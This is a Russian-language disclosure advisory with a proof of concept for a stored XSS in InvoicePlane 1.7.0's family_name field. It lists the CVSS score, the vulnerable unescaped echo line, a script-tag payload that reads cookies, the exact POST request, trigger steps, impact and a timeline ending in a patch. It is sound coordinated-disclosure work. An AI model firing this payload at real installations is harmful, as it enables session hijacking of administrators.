
# PoC хранимого XSS для InvoicePlane 1.7.0 через поле фамилии, включая полезную нагрузку, запрос и анализ воздействия для оборонительных исследований.
Уязвимость: Хранимый межсайтовый скриптинг (XSS) через поле Family Name
Продукт: InvoicePlane
Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)
Серьёзность: Средняя
Оценка CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы
Обнаружил: Leonidas Agathos
Дата отчёта: 2026-01-31
Поле family_name в форме семейства продуктов (/index.php/families/form) принимает произвольный ввод без санитизации. Значение сохраняется в базе данных и впоследствии отображается без кодирования в выпадающем списке семейства на странице создания/редактирования продукта, что приводит к выполнению JavaScript у любого администратора, посещающего форму продукта.
Уязвимый файл: application/modules/products/views/form.php:40
// Строка 40
><?php echo $family->family_name; ?></option>
Шаг 1 — Внедрение полезной нагрузки в поле Family Name
Перейдите на /index.php/families/form и отправьте следующее значение в качестве Family Name:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Запрос:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Шаг 2 — Запуск XSS
Перейдите на /index.php/products/form. Полезная нагрузка срабатывает при отображении выпадающего списка семейства.

Любой администратор, посещающий страницу создания или редактирования продукта, получит выполнение полезной нагрузки в своём браузере. Это позволяет перехватывать сессии (если cookie не защищены флагом HttpOnly), похищать CSRF-токены и выполнять действия от имени жертвы.
| Дата | Событие |
|---|---|
| 2026-01-30 | Уязвимость обнаружена |
| 2026-01-31 | Разработано доказательство концепции |
| 2026-01-31 | Вендор уведомлён |
| 2026-02-04 | Подтверждение вендора |
| 2026-02-04 | Выпущен патч |
| 2026-02-05 | Публичное раскрытие |
Эта уязвимость была обнаружена в ходе независимого исследования безопасности. Вся информация предоставляется строго в образовательных, исследовательских и защитных целях, чтобы помочь вендору и сообществу специалистов по безопасности понять и устранить проблему. Любое злонамеренное использование этой информации строго запрещено.